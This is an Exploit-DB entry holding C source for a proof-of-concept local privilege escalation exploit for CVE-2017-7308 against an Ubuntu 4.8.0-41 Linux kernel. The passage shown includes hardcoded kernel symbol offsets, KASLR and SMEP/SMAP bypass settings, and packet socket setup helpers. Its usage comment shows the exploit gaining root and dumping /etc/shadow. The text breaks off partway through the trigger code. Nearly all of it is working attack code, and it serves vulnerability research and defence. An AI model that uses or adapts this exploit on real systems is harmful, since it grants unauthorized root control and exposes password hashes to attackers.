Exploit-DB #41994
Description: Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-05-11
Author: Andrey Konovalov

Exploit:
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn 
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text:   ffffffff87000000
// [.] commit_creds:        ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4:    ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define ENABLE_KASLR_BYPASS	1
#define ENABLE_SMEP_SMAP_BYPASS	1

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 	0xffffffff81000000ul;

// Kernel symbol offsets
#define COMMIT_CREDS		0xa5cf0ul
#define PREPARE_KERNEL_CRED	0xa60e0ul
#define NATIVE_WRITE_CR4	0x64210ul

// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE	0x407f0ul

#define KMALLOC_PAD		512
#define PAGEALLOC_PAD		1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
	struct hlist_node *        next;                 /*     0     8 */
	struct hlist_node * *      pprev;                /*     8     8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
	struct hlist_node          entry;                /*     0    16 */
	long unsigned int          expires;              /*    16     8 */
	void                       (*function)(long unsigned int); /*    24     8 */
	long unsigned int          data;                 /*    32     8 */
	u32                        flags;                /*    40     4 */
	int                        start_pid;            /*    44     4 */
	void *                     start_site;           /*    48     8 */
	char                       start_comm[16];       /*    56    16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET	896

// pakcet_sock->xmit
#define XMIT_OFFSET	1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
		unsigned int frame_size, unsigned int block_nr,
		unsigned int sizeof_priv, unsigned int timeout) {
	int v = TPACKET_V3;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_VERSION)");
		exit(EXIT_FAILURE);
	}

	struct tpacket_req3 req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size;
	req.tp_frame_size = frame_size;
	req.tp_block_nr = block_nr;
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	req.tp_sizeof_priv = sizeof_priv;
	req.tp_feature_req_word = 0;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		perror("[-] socket(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
		sizeof_priv, timeout);

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	return s;
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		perror("[-] socket(SOCK_DGRAM)");
		exit(EXIT_FAILURE);
	}
	return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
	char buffer[16];
	packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)			__ALIGN_KERNEL((x),